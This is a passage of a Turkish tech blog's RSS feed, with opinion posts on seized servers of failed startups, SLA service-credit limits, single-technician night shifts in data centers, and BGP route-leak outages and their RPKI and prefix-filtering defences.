İcra memuru gelir, sunucuları haczeder, üzerini mühürler. Ancak teknoloji hızla eskir! O günün 15.000 dolarlık GPU'su, 2 yıl süren icra davası ve açık artırma bürokrasisi bittiğinde yeni nesil çipler çıktığı için 1.500 dolara düşmüştür!</li>
<li><strong>Elektrik ve Yer Maliyeti:</strong><br>
Veri merkezi o kabini 2 yıl boyunca boşaltamaz; başka müşteriye satamaz. Tozlanan o hurda kütlesi, veri merkezine her ay binlerce liralık fırsat maliyeti (opportunity loss) yazar.</li>
</ol>
<hr>
<h2>Donanım Mezarlığındaki Adli Bilişim Dramı: Müşteri Verileri Ne Olacak?</h2>
<p>Bu karanlık kabinlerin en tehlikeli boyutu, o tozlu sunucuların disklerinde saklanan <strong>Kişisel Verilerdir (KVKK).</strong></p>
<p>Batan startup bir e-ticaret sitesi, bir sağlık uygulaması veya bir fintech girişimi olabilir:</p>
<ul>
<li>Disklerin içinde yüz binlerce Türkiye Cumhuriyeti vatandaşının açık ev adresleri, kredi kartı logları, şifre hash'leri ve sağlık raporları yatmaktadır!</li>
<li>İflas eden kurucular arkalarına bakmadan kaçmıştır.</li>
<li>2 yıl sonra icra dairesi o sunucuları hurda niyetine ikinci el bilgisayarcılara açık artırmayla sattığında ne olur?</li>
<li>O diskleri alan bilgisayarcı diskleri formatlamadan (Zero-fill / Degauss yapmadan) ikinci el pazarına sürerse, milyonlarca vatandaşın verisi sokaklara saçılır!</li>
</ul>
<hr>
<h2>Bir Çağın Kapanışı: Silikonun Fani Olduğu Yer</h2>
<p>Bir veri merkezinin arka koridorlarında gece yürüyüşü yapmak, bir antik Roma harabesinde dolaşmak gibidir.</p>
<p>Her bir karanlık kabinin önünde durduğunuzda, bir zamanlar genç mühendislerin o sunucuları rack kabine vidalarken duyduğu heyecanı, sabahlara kadar süren deployment gecelerini, içilen soğuk kahveleri ve "Dünyayı değiştireceğiz" inancını hissedersiniz.</p>
<p>O büyük vizyonların, 50 slaytlık pitch deck'lerin, milyar dolarlık değerleme iddialarının hepsi; ödenemeyen 70.000 liralık bir elektrik faturasının ve inen bir şalterin ucunda sessizliğe gömülmüştür.</p>
<h2>Sonuç</h2>
<p>Hastanenin bodrumundaki hacizli cihazlar nasıl hedefsiz hırsın ve plansızlığın ibretlik anıtıysa; veri merkezindeki karanlık kabinler de gerçek bir iş modeli olmadan sadece yakılan yatırım parasıyla altyapı kuranların kaçınılmaz sonudur.</p>
<p>Teknoloji dünyasında başarı; en pahalı sunucuları kabine dizmekle değil, o sunucuların elektrik faturasını kendi alın teriyle ve sürdürülebilir bir kârla ödeyebilmekle başlar. Donanıma değil, iş modeline yatırım yapın; yoksa kurduğunuz o süper bilgisayarlar, bir gün veri merkezinin karanlık koridorlarında üzerine icra tutanağı yapıştırılmış tozlu birer anıttan ibaret kalır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Karanlık Kabin</category>
            <category>Veri Merkezi</category>
            <category>Startup</category>
            <category>İflas</category>
            <category>Donanım Mezarlığı</category>
            <category>Hukuk</category>
            <category>Kültür</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/karanlik-kabinler-iflas-eden-startuplarin-veri-merkezi-mezarligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[SLA %99.9 Yalanı ve 'Tazminat Kredisi' Şark Kurnazlığı]]></title>
            <link>http://localhost:3000/blog/post/sla-999-yalani-ve-tazminat-kredisi-sark-kurnazligi</link>
            <guid>sla-999-yalani-ve-tazminat-kredisi-sark-kurnazligi</guid>
            <pubDate>Mon, 15 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Sözleşmelere '%99.99 Kesintisizlik Garantisi' yazıp sunucu 14 saat çöktüğünde ve şirket 500 bin TL ciro kaybettiğinde müşteriye 'Sonraki ay faturanızdan 5 Dolar düştük' diyen kurumsal yüzsüzlük.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sla-999-yalani-ve-tazminat-kredisi-sark-kurnazligi/thumbnail" alt=""> Hayati tehlikesi olan bir hastanın ameliyatı için özel bir cerrahi hastanesiyle anlaştığınızı düşünün. Hastane yönetimi size yaldızlı bir "Hizmet Seviyesi Taahhüdü" (SLA) imzalatır: <em>"Kliniğimizde ameliyat başarısı ve yaşamsal süreklilik %99.99 garantilidir! Eğer bir komplikasyon veya cerrahi hata gelişirse kurumumuz tam tazminat garantisi verir."</em> Ameliyat başlar; ancak hekimin yaptığı fahiş bir cerrahi hata yüzünden hasta masada kalır veya kalıcı olarak felç olur. Yıkılmış halde hastane başhekimliğine tazminat için gittiğinizde, başhekim sözleşmenin arkasını çevirir ve gülümseyerek şunu söyler: <em>"Başınız sağ olsun efendim. Sözleşmemizin 12-C maddesi gereğince, cerrahi başarısızlık durumunda hastanemizin azami sorumluluğu, bir sonraki poliklinik muayene ücretinizden düşülmek üzere 50 TL'lik indirim kuponu tanımlamaktır. Bir dahaki sefere tansiyonunuzu ölçtürmeye geldiğinizde bu kuponu vezneye verebilirsiniz."</em> Bu bir tazminat veya garanti değil; insanın aklıyla, acısıyla ve hayatıyla alay eden bir şark kurnazlığıdır.</p>
<p>Bilişim, bulut ve web barındırma pazarında kurumsal sözleşmelerin en tepesine yazılan <strong>"SLA (Service Level Agreement) %99.9 Uptime Garantisi"</strong> ve arkasındaki <strong>"Hizmet Kredisi (Service Credit)"</strong> komedisi, tam olarak bu 50 liralık indirim kuponunun dijital kopyasıdır.</p>
<hr>
<h2>9'ların Büyüsü: SLA Matematiği Neyi İfade Eder?</h2>
<p>Pazarlamacılar "99.9" veya "99.99" rakamlarını müşterinin gözünü boyamak için sihirli bir tılsım gibi kullanır. Ancak bu yüzdelerin bir yıldaki karşılığı şudur:</p>
<pre><code>+------------------------------------------------------------------------+
|                          SLA UPTIME MATEMATİĞİ                         |
|                                                                        |
|  %99.0 Uptime   : Yılda 3 Gün 15 Saat İZİNLİ KESİNTİ! (Çok Kötü)       |
|  %99.9 Uptime   : Yılda 8 Saat 45 Dakika İZİNLİ KESİNTİ! (Standart)    |
|  %99.99 Uptime  : Yılda 52 Dakika İzinli Kesinti! (Elit)               |
|  %99.999 Uptime : Yılda Yalnızca 5 Dakika Kesinti! (Telekom / Havacılık)|
+------------------------------------------------------------------------+
</code></pre>
<p>Müşteri haklı olarak şunu sanır: <em>"Eğer sunucum yılda 8 saatten fazla çökerse, sağlayıcı benim zararımı karşılayacak!"</em></p>
<p>Hayır. Sağlayıcı sizin zararınızı karşılamayacaktır. SLA metinleri, sistemin çökmeyeceğini garanti etmek için değil; <strong>çöktüğünde sağlayıcının ödeyeceği sorumluluğu komik bir tavanla sınırlandırmak (Cap on Liability) için yazılmıştır.</strong></p>
<hr>
<h2>"5 Dolar İndirim Kuponu" Komedisi: 500 Bin TL'lik Ciro Kaybı</h2>
<p>Black Friday veya Yılbaşı arifesinde büyük bir e-ticaret sitesi düşünün:</p>
<ul>
<li>Sitede büyük bir kampanya vardır. Saatlik ciro: <strong>100.000 TL.</strong></li>
<li>Sağlayıcının ana depolama havuzu (SAN) gece yarısı çöker.</li>
<li>Kesinti tam <strong>14 saat</strong> sürer!</li>
<li>Şirketin doğrudan ciro kaybı: <strong>1.4 Milyon TL.</strong></li>
<li>Reklam harcamaları çöpe gitmiş, marka itibarı yerle bir olmuştur.</li>
</ul>
<p>Pazartesi sabahı şirket CEO'su avukatlarıyla birlikte sağlayıcının kapısını çalar:<br>
<em>"SLA sözleşmemizde %99.99 yazıyordu. 14 saat boyunca kapalı kaldık. 1.4 milyon TL zararımızı tazmin edin!"</em></p>
<p>Sağlayıcının hukuk müşaviri sözleşmedeki o meşhur <strong>"Hizmet Kredisi"</strong> tablosunu açar:</p>
<pre><code class="language-text">SLA İhlal Tazminat Tablosu:
- Aylık Uptime %98 - %95 arası ise : Aylık faturanın %10'u kadar kredi
- Aylık Uptime %95 - %90 arası ise : Aylık faturanın %25'u kadar kredi
- Aylık Uptime %90'ın altında ise   : Aylık faturanın %50'si kadar kredi

(Müşterinin Aylık Sunucu Kirası: 50 $)
TAZMİNAT MİKTARI: 50 $ x %50 = 25 $ (YİRMİ BEŞ DOLAR!)
Ödeme Şekli     : Nakit iade YOKTUR! Sonraki ay faturanızdan düşülecektir.
</code></pre>
<p>Sağlayıcı müşterinin yüzüne bakar: <em>"14 saat kesinti için size sonraki ay 25 Dolar indirim tanımladık, güle güle harcayın!"</em></p>
<p>1.4 milyon lira kaybeden şirkete sunulan tazminat, bir öğle yemeği parasıdır.</p>
<hr>
<h2>"Planlı Bakım" İstisnası: SLA'yı Delme Sanatı</h2>
<p>Daha da vahimi, sözleşmelerde yer alan o meşhur istisnalar listesidir:</p>
<ul>
<li><em>"Planlı bakım çalışmaları SLA kesinti süresine dahil edilmez."</em></li>
<li><em>"Üçüncü taraf ISP ve telekomünikasyon arızaları SLA dışındadır."</em></li>
<li><em>"DDoS saldırıları ve mücbir sebepler (Force Majeure) SLA dışındadır."</em></li>
</ul>
<p>Sunucu çöktüğünde sağlayıcının tek yapması gereken şey, arızaya "Planlı Acil Bakım" veya "Yurtdışı Fiber Koptu" yaftası yapıştırmaktır. Bir anda o 14 saatlik kesinti resmi kayıtlarda "SLA ihlali olmayan zorunlu bakım" haline gelir; müşteri o 25 dolarlık komik krediyi bile alamaz!</p>
<hr>
<h2>Büyük Bulut Devleri de Farksızdır: AWS ve Azure Örneği</h2>
<p>Bu şark kurnazlığı sadece yerli merdiven altı firmalara özgü değildir. AWS, Microsoft Azure ve Google Cloud'un (GCP) SLA sözleşmeleri de birebir aynı mantık üzerine kuruludur:</p>
<ul>
<li>AWS us-east-1 bölgesi 8 saat boyunca çöktüğünde, Netflix veya borsa platformları milyarlarca dolar kaybetse bile; AWS'in yasal sorumluluğu sadece müşteriye birkaç yüz dolarlık <strong>"AWS Service Credit"</strong> vermekten ibarettir.</li>
<li>Sözleşmelerinde şu ibare mermere kazınmıştır:<br>
<code>"IN NO EVENT SHALL WE BE LIABLE FOR ANY INDIRECT, INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES (INCLUDING LOSS OF PROFITS, REVENUE, OR DATA)..."</code><br>
<em>(Hiçbir koşulda kâr kaybından, veri kaybından veya dolaylı zararlardan sorumlu tutulamaz!)</em></li>
</ul>
<hr>
<h2>Gerçek Mühendislik SLA'ya Güvenmez: Kendi Yedekliliğini İnşa Etmek</h2>
<p>Bir yazılım mimarının veya CTO'nun anlaması gereken en acı hayat dersi şudur:<br>
<strong>Hiçbir SLA sözleşmesi sisteminizi ayakta tutmaz. Hiçbir sağlayıcı sizin kârınızı sizden daha çok umursamaz.</strong></p>
<p>Sisteminizin kesintiye uğramasını engellemenin tek yolu, tek bir sağlayıcının insafına veya sözleşmesine bel bağlamamak; <strong>Çoklu Bölge (Multi-Region) ve Çoklu Bulut (Multi-Cloud)</strong> mimarisi kurmaktır:</p>
<pre><code>[İSTEMCİ TRAFİĞİ]
       │
       ▼
[Cloudflare / Route53 DNS Yük Dengeleyici (Health Check)]
       │
       ├─► Sunucu A (Veri Merkezi 1 - İstanbul) -> %100 Çalışıyor
       │
       └─► Sunucu B (Veri Merkezi 2 - İzmir veya Frankfurt) -> Yedek Kümeler!
</code></pre>
<p>Eğer Veri Merkezi 1'de ana şalter patlarsa; DNS yük dengeleyici 10 saniye içinde trafiği Veri Merkezi 2'ye aktarır.<br>
Sağlayıcının size vereceği o 25 dolarlık komik tazminat kredisine muhtaç kalmazsınız; çünkü sisteminiz zaten kesinti yaşamamıştır.</p>
<h2>Sonuç</h2>
<p>Hatasını 50 liralık muayene kuponuyla telafi etmeye çalışan hastane ne kadar gayriahlaki ise; milyonluk ciro kaybına 25 dolarlık hizmet kredisiyle yanıt veren hosting firması da o kadar alaycıdır.</p>
<p>SLA bir Uptime teminatı değil; sağlayıcının kendi mali riskini minimize ettiği hukuki bir kalkandır. Altyapınızı kâğıt üzerindeki süslü yüzdelerin sahte rehavetine terk etmeyin. Gerçek yüksek erişilebilirlik (High Availability) sözleşmelerde değil; kendi tasarladığınız yedekli mimaride, coğrafi dağıtık kümelerde ve bağımsız felaket kurtarma planlarınızda nefes alır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SLA</category>
            <category>Uptime</category>
            <category>Tazminat Kredisi</category>
            <category>Hosting</category>
            <category>Sözleşme</category>
            <category>Müşteri Hakları</category>
            <category>Hukuk</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sla-999-yalani-ve-tazminat-kredisi-sark-kurnazligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Tek Kişilik Nöbetçi Teknisyenle Geceyi Geçiren Dev Veri Merkezi]]></title>
            <link>http://localhost:3000/blog/post/tek-kisilik-nobetci-teknisyenle-geceyi-geciren-dev-veri-merkezi</link>
            <guid>tek-kisilik-nobetci-teknisyenle-geceyi-geciren-dev-veri-merkezi</guid>
            <pubDate>Sun, 14 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Maliyeti düşürmek için 500 kabinlik devasa veri merkezine gece vardiyasında tek bir uykusuz stajyer koyan ve aynı anda patlayan BGP, disk ve kapı arızalarında çöken operasyonun anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/tek-kisilik-nobetci-teknisyenle-geceyi-geciren-dev-veri-merkezi/thumbnail" alt=""> 1.000 yataklı, içinde açık kalp ameliyathaneleri, travma acil servisi, organ nakli ünitesi ve 50 yataklı yeni doğan yoğun bakımı olan devasa bir şehir hastanesini gözünüzün önüne getirin. Gündüzleri yüzlerce profesör, uzman hekim ve hemşire koridorlarda arı gibi çalışır. Ancak hastane yönetimi maliyetleri kısmak adına bir gece vardiyası tasarrufu yapar: Gece saat 23:00 ile sabah 07:00 arasındaki o 8 saatlik kritik zaman diliminde koca hastanede tek bir stajyer pratisyen hekimi yalnız başına nöbetçi bırakır! Gece saat 03:15'te felaketler peş peşe patlar: Acil servise 4 araçlık zincirleme trafik kazasından 12 ağır yaralı getirilir; aynı anda kadın doğumda ikiz bebek acil sezaryene girmek zorundadır ve 4. kattaki yoğun bakımda iki hastanın kalbi aynı anda durur! O tek stajyer hekim ne yapar? Koridorlarda panik içinde koşar, sedyelerin arasında dizlerinin üzerine çöker, cinnet noktasına gelir ve hiçbir hastaya yetişemez. İnsanlar göz göre göre can verir. Hastane yönetimi ise "Hastanemizde 7/24 nöbetçi hekimimiz vardı" diyerek vicdanını temize çekmeye çalışır.</p>
<p>Türkiye'deki ve dünyadaki birçok "Tier III / 7/24 Kesintisiz İzleme" sertifikalı veri merkezinde gece vardiyasında yaşanan gerçeklik, tam olarak bu şehir hastanesinin çaresiz stajyer hekiminin trajedisidir.</p>
<hr>
<h2>Broşürdeki 7/24 NOC vs. Gece Saat 03:30 Gerçekliği</h2>
<p>Veri merkezinin satış broşürünü açtığınızda şu kurumsal vaatleri okursunuz:<br>
<em>"Tesisimiz 7/24/365 kesintisiz olarak Network Operations Center (NOC) uzmanları, sistem mühendisleri ve güvenlik personeli tarafından proaktif olarak izlenmektedir."</em></p>
<p>Gündüzleri tesisi gezmeye gittiğinizde her şey harikadır: Lobide güvenlik görevlileri, ofiste onlarca güler yüzlü mühendis, NOC odasında büyük ekranlarda akan grafikler...</p>
<p>Ancak saatler gece 23:00'ü gösterdiğinde ve gündüz ekibi servis araçlarına binip gittiğinde, tesisin kaderi asgari ücretle çalışan 21 yaşındaki <strong>tek bir nöbetçi teknisyene</strong> emanet edilir.</p>
<p>Teknisyenin o geceki görev tanımı insan kapasitesinin sınırlarını zorlar:</p>
<ul>
<li>500 kabinin ve 5.000 fiziksel sunucunun alarm monitörlerini izlemek,</li>
<li>Gece gelen kargo ve sunucu teslimatlarını kapıda karşılamak,</li>
<li>Gece bakıma gelen üçüncü taraf teknisyenlere kimlik kontrolü yapıp eşlik etmek,</li>
<li>Telefon santralinden gelen acil destek çağrılarına yanıt vermek,</li>
<li>cPanel/VDS destek biletlerini cevaplamak,</li>
<li>Ve 2 saatte bir beyaz alanda devriye atıp klima su sızıntılarını kontrol etmek!</li>
</ul>
<hr>
<h2>Zincirleme Kaza: Gece 03:42 Kriz Çarpışması</h2>
<p>Sistem mühendisliğinde "Murphy Kanunları" geceleri iki kat daha hızlı çalışır. Felaketler asla tek tek gelmez; bir kurt sürüsü gibi hep birlikte saldırır.</p>
<p>O gece saat 03:42'de yaşanan tipik bir nöbetçi teknisyen cinneti:</p>
<pre><code>[03:40] KAPIDA KARGO:
Yurtdışından acil gelen yedek parça tırı kapıya yanaşır.
Teknisyen kapıya iner, irsaliye imzalamaya başlar.

[03:42] TELEFON KİLİTLENİR:
Büyük bir e-ticaret müşterisinin sunucusunda SAS disk patlamıştır.
Müşteri santrali arar: "Acil sunucumun diskini değiştirin, sitem kapalı!"
Teknisyen kapıdaki kargoyu bırakıp santrale koşar.

[03:44] ANA ROUTER ÇÖKER (BGP KRİZİ):
Veri merkezinin ana Juniper/Cisco sınır yönlendiricisi (Border Router)
yurtdışı fiber hattındaki bir kesinti yüzünden BGP flapping moduna girer.
NOC odasındaki 5 ekran birden kıpkırmızı olur!
Sirenler çalmaya başlar: 500 kabinin interneti dalgalanmaktadır!

[03:46] TEKNİSYENİN ÇÖKÜŞÜ:
Kapıda kargo şoförü kornaya basar...
Telefonda müşteri avazı çıktığı kadar bağırır...
NOC ekranlarında 50 alarm aynı anda yanıp söner...
Ve nöbetçi teknisyen TEK BAŞINADIR!
</code></pre>
<p>Kime koşacaktır?</p>
<ul>
<li>BGP konfigürasyonunu düzeltecek ağ mühendisliği bilgisi yoktur (çünkü sadece L1 donanım teknisyenidir).</li>
<li>Kabine gidip diski değiştirse kapıdaki tır içeri giremez.</li>
<li>Telefona baksa yönlendiriciyi inceleyemez.</li>
</ul>
<p>Teknisyen panik içinde evinde uyuyan kıdemli ağ mühendisini (L3 Senior Network Engineer) arar:</p>
<ul>
<li>Telefon çalar... açılmaz.</li>
<li>İkinci kez arar... meşgule atılır.</li>
<li>Üçüncü aramada mühendis uykulu bir sesle açar: <em>"Ne var gece gece?"</em></li>
</ul>
<p>O uykulu mühendisin VPN ile bağlanması, durumu anlaması ve müdahale etmesi tam 45 dakika sürer. O 45 dakika boyunca Türkiye'nin yüzlerce şirketinin interneti karadelikte asılı kalır.</p>
<hr>
<h2>Uykusuzluk ve Bilişsel Hatalar: Yorgun Neşter Faciası</h2>
<p>İnsan biyolojisi gecenin dördünde uyanık kalmak üzere evrimleşmemiştir. Sirkadiyen ritmin en dip yaptığı saat 03:00 ile 05:00 arasıdır.</p>
<p>Uykusuz, yorgun ve tek başına bırakılmış bir teknisyenin bilişsel fonksiyonları, 1 promil alkol almış bir insanınkine eşittir:</p>
<ul>
<li>Yanlış kabinin kapağını açar.</li>
<li>Yanan disk yerine sağlam diski yuvasından çeker (<code>Disk Pull Error</code>) ve çalışan RAID dizisini tamamen çökertebilir.</li>
<li>Konsolda <code>shutdown -r now</code> yerine <code>poweroff</code> yazıp sunucuyu uzaktan bir daha açılamayacak şekilde kapatabilir.</li>
</ul>
<p>Bu hataların faturası teknisyene kesilir; oysa asıl suçlu, maliyeti kısmak için o devasa tesise gece tek bir insan koyan yönetim kuruludur.</p>
<hr>
<h2>Gerçek 7/24 Vardiya Mimarisi Nasıl Olmalıdır?</h2>
<p>Gerçek bir Tier III veya Tier IV veri merkezinde "tek kişilik nöbet" diye bir kavram kabul edilemez.</p>
<p>Uluslararası standartlara uygun bir gece vardiyası en az <strong>üçlü saç ayağına</strong> dayanmak zorundadır:</p>
<pre><code>[KURUMSAL GECE VARDİYASI MİMARİSİ]

1. Fiziksel Güvenlik ve Lojistik Personeli:
   - Yalnızca kapıyı, kargoyu, bina girişini ve devriyeyi yönetir.
   - Teknik işlere asla karışmaz.

2. L1/L2 Donanım ve Saha Teknisyeni:
   - Beyaz alandaki kabinlere, kablolara, arızalı disklere ve klimalara bakar.

3. Aktif Nöbetçi Ağ ve Sistem Mühendisi (L2/L3 Network &#x26; SysAdmin):
   - Evde uyuyan değil; NOC odasında terminal başında oturan,
     BGP ve sunucu krizlerine anında müdahale edebilecek yetkide bir mühendis!

4. İkincil Nöbetçi Çağrı Protokolü (Escalation Matrix):
   - Eğer birinci mühendis 3 dakika içinde telefona yanıt vermezse,
     otomasyon sistemi direktörün ve şirket genel müdürünün telefonunu çaldırır!
</code></pre>
<h2>Sonuç</h2>
<p>1.000 yataklı hastaneyi gece tek bir stajyere emanet eden zihniyet hasta ölümlerinin sorumlusudur; 500 kabinlik veri merkezini gece tek bir teknisyenle döndürmeye çalışan yönetim de müşterilerinin iflasının sorumlusudur.</p>
<p>Otomasyon harika bir yardımcıdır; ancak kriz anında kararları makineler değil, etten ve kemikten mühendisler verir. Gece vardiyasında insandan tasarruf etmek, saatli bir bombanın pimini çekip uyumaya benzer. Bir veri merkezini seçerken gündüz parlayan ışıklarına değil; gece saat 03:30'da içeride kaç mühendisin nöbet tuttuğuna ve bir felaket anında kriz masasının kaç saniyede kurulduğuna bakın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Nöbetçi Teknisyen</category>
            <category>Vardiya</category>
            <category>İnsan Kaynağı</category>
            <category>Kriz Yönetimi</category>
            <category>Kesinti</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/tek-kisilik-nobetci-teknisyenle-geceyi-geciren-dev-veri-merkezi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[BGP Yanlış Route Anonsu: Tüm Sunucuları Karadeliğe Atmak]]></title>
            <link>http://localhost:3000/blog/post/bgp-yanlis-route-anonsu-tum-sunuculari-karadelige-atmak</link>
            <guid>bgp-yanlis-route-anonsu-tum-sunuculari-karadelige-atmak</guid>
            <pubDate>Sat, 13 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Ağ mühendisinin Border Gateway Protocol (BGP) konfigürasyonundaki tek bir prefix yazım hatasıyla tüm veri merkezini küresel internet haritasından silip dijital karadeliğe gömmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bgp-yanlis-route-anonsu-tum-sunuculari-karadelige-atmak/thumbnail" alt=""> Uluslararası bir havalimanının ana hava trafik kontrol (ATC) kulesini ve küresel uçuş rotalama radar sistemini düşünün. Dünyanın her yerinden kalkan yüzlerce yolcu uçağı, kulelerin birbirine fırlattığı otomatik rota güncellemeleriyle yönünü bulur. Şimdi kuledeki yorgun bir kontrolörün, küresel uçuş bilgisayarına tek bir koordinat rakamını ters girdiğini hayal edin. Sistem bir anda tüm dünyaya şu resmi anonsu geçer: <em>"İstanbul Havalimanı'nın yeni pisti Atlas Okyanusu'nun tam ortasındadır, tüm uçaklar rotalarını oraya çevirsin!"</em> Havada uçan yüzlerce uçak bu resmi anonsa güvenir; rotalarını okyanusun ortasındaki boşluğa çevirir, yakıtları biter ve hepsi radardan silinir. Uçakların motorları sağlamdır, yolcular hazırdır; ancak yön bulma sistemi tüm filoyu bir karadeliğe fırlatmıştır.</p>
<p>İnternet altyapısının ana omurgasını oluşturan <strong>BGP (Border Gateway Protocol - Sınır Geçit Protokolü)</strong> üzerinde yapılan tek bir yazım hatası (Typo) veya sızıntı (Route Leak), küresel bilişim ağında tam olarak bu uçakların okyanusa gömülmesidir.</p>
<p>Bir veri merkezinin binlerce sunucusu tıkır tıkır çalışır, kabinlerin klimaları mükemmeldir; ancak kenar yönlendiricideki (Edge Router) tek bir satırlık BGP hatası, o veri merkezini dünya genelindeki 4 milyar internet kullanıcısı için anında <strong>yok hükmüne</strong> getirir.</p>
<hr>
<h2>BGP Nedir ve Neden Dünyanın En Şüpheci Ama En Saftirik Protokolüdür?</h2>
<p>İnternet, birbirine bağlı yaklaşık 75.000 bağımsız <strong>Otonom Sistemden (AS - Autonomous System)</strong> oluşur.</p>
<ul>
<li>Türk Telekom: <code>AS9121</code></li>
<li>Cloudflare: <code>AS13335</code></li>
<li>Google: <code>AS15169</code></li>
<li>Veri Merkeziniz: <code>AS204812</code></li>
</ul>
<p>BGP, internetin küresel posta dağıtım memurudur. Veri merkezinizin yönlendiricisi (Juniper MX / Cisco ASR), komşu operatörlere (Türk Telekom, Seabone, Cogent) durmaksızın şu anonsu yapar:<br>
<code>"185.220.40.0/22 IP bloğu benim korumam altındadır! Bu IP'lere gidecek tüm paketleri bana gönderin!"</code></p>
<p>BGP'nin en büyük trajedisi, 1989 yılında (RFC 1105) üç mühendisin bir peçetenin üzerine tasarladığı bir protokoldür. O çağda internette herkes birbirini tanıdığı için <strong>içinde hiçbir güvenlik veya kimlik doğrulama mekanizması konulmamıştır!</strong> BGP saftiriktir; komşusunun söylediği her anonsa körü körüne inanır.</p>
<hr>
<h2>Patolojinin Anatomisi: Bir Klavyeden Çıkan Kıyamet</h2>
<p>Bir Salı gecesi saat 23:45'te veri merkezinin kıdemli ağ mühendisi yeni bir kurumsal müşteri için BGP anonsu hazırlamaktadır.</p>
<p>Mühendisin girmesi gereken doğru kural:<br>
<code>set routing-options static route 185.120.45.0/24 next-hop 10.0.0.1</code></p>
<p>Ancak yorgunluk ve dikkatsizlik sonucu parmak kayar. <code>/24</code> yazmak yerine yanlışlıkla daha geniş ve daha spesifik bir anons fırlatır:<br>
Veya daha da kötüsü, komşu bir operatörden öğrendiği küresel rota tablosunu (Full BGP Table - 900.000 rota) filtrelemeden kendi çıkışından dışarıya <strong>"Tüm dünyanın trafiği benim üzerimden geçsin!"</strong> diyerek anons eder (<strong>BGP Route Leak</strong>)!</p>
<pre><code>[AĞ MÜHENDİSİ: KOMUTU GİRDİ: commit]
                       │
                       ▼
[KENAR YÖNLENDİRİCİ: BGP ANONSU FIRLADI]
"185.120.0.0/16 trafiğini ve Google IP'lerini BANA GÖNDERİN!"
                       │
                       ▼
[TÜRK TELEKOM &#x26; SEABONE OMURGASI ANONSU ALDI]
BGP Mantığı: "En spesifik rota her zaman kazanır!"
Küresel Yönlendiriciler Rota Tablolarını Günceller!
                       │
                       ▼
[DÜNYA ÇAPINDA KARADELİK TETİKLENDİ!]
- Frankfurt'tan, Tokyo'dan, Ankara'dan gelen milyonlarca gigabitlik trafik,
  veri merkezinin 10 Gbps'lik minik kablosuna hücum eder!
- Hat mikrosaniyede patlar (Bufferbloat)!
- Veri merkezinin kendi meşru IP'leri küresel rota haritasında kaybolur!
- DÜNYADAKİ TÜM KULLANICILAR İÇİN SİSTEMLER SİLİNDİ! ❌
</code></pre>
<hr>
<h2>Tarihi BGP Sızıntıları: Koca Ülkelerin İnternetini Yutan Hatalar</h2>
<p>BGP faciaları sadece küçük veri merkezlerinde yaşanmaz; internet tarihinin en büyük çöküşleri hep bu tek satırlık BGP hatalarından doğmuştur:</p>
<ol>
<li><strong>Pakistan Telecom ve YouTube Faciası (2008):</strong><br>
Pakistan hükümeti ülke içinde YouTube'u engellemek ister. Pakistan Telecom, yerel bir BGP karadeliği oluşturur. Ancak kuralı yanlışlıkla küresel sağlayıcısına (PCCW) anons eder! 20 dakika içinde dünyadaki tüm YouTube trafiği Pakistan Telecom'un minik sunucularına akar; tüm dünyada YouTube çöker!</li>
<li><strong>Facebook / Meta Küresel Çöküşü (Ekim 2021):</strong><br>
Facebook mühendisleri rutin bir veri merkezi bakımında BGP yönlendiricilerine yanlış bir komut gönderir. Facebook'un tüm DNS sunucularını tutan BGP anonsları dünya haritasından silinir! Facebook, Instagram ve WhatsApp 6 saat boyunca dünyadan buharlaşır; mühendisler veri merkezinin kapısındaki elektronik kilitler bile çalışmadığı için binaya fiziksel olarak giremez!</li>
<li><strong>Vodafone Hindistan ve Google Trafiği Sızıntısı (Nisan 2021):</strong><br>
Vodafone Hindistan yanlışlıkla Google'ın IP bloklarını kendisininmiş gibi anons eder. ABD ve Avrupa'daki trafiğin önemli bir kısmı Hindistan'a tünellenir ve küresel internet felç olur.</li>
</ol>
<hr>
<h2>Semptom: "Sunucular Çalışıyor Ama Dünya Bizi Göremiyor!"</h2>
<p>BGP anonsu bozulduğunda veya rota sızdığında veri merkezinin içinde olanlar son derece tuhaftır:</p>
<ul>
<li>Veri merkezinin içine girersiniz: Sunucuların CPU kullanımı sıfırdır, MySQL çalışmaktadır, klimalar serindir.</li>
<li>Yerel ağdan (LAN) <code>curl http://localhost</code> yazarsınız: Web siteniz 1 milisaniyede açılır!</li>
<li>Ancak cep telefonunuzdan 4G ile girmeye çalıştığınızda: <code>ERR_NAME_NOT_RESOLVED</code> veya <code>Destination Host Unreachable</code> alırsınız.</li>
</ul>
<p>Çünkü sunucularınız canlıdır; ancak dünyadaki ISP yönlendiricileri (Router) sizin adresinizi kaybetmiştir. İnternetin haritasında veri merkezinizin bulunduğu yer artık boş bir okyanustur.</p>
<hr>
<h2>Cerrahi Savunma: RPKI ve BGP Prefix Filtreleme Zırhı</h2>
<p>Modern ağ mühendisliği bu felaketleri "dikkatli olarak" engelleyemez. BGP'nin o 1989'dan kalma saftirik doğasını kriptografik kalkanlarla kilitlemek şarttır:</p>
<pre><code>[MODERN BGP GÜVENLİK ZIRHI]

1. RPKI (Resource Public Key Infrastructure) ve ROA Kayıtları:
   - IP bloklarınızı kriptografik olarak imzalayın (ROA - Route Origin Authorization).
   - RIPE NCC üzerinden resmi imzanızı atın: "Bu IP bloğunu YALNIZCA AS204812 anons edebilir!"
   - Dünyadaki tüm modern operatörler (Cloudflare, Telia, Google), RPKI imzası
     olmayan sahte veya hatalı anonsları otomatik olarak ÇÖPE ATAR (Drop Invalid)!

2. Katı Prefix Filtreleri (Strict Prefix-List):
   - BGP yapılandırmanızda asla "tüm rotaları dışarı fırlat" kuralı olamaz!
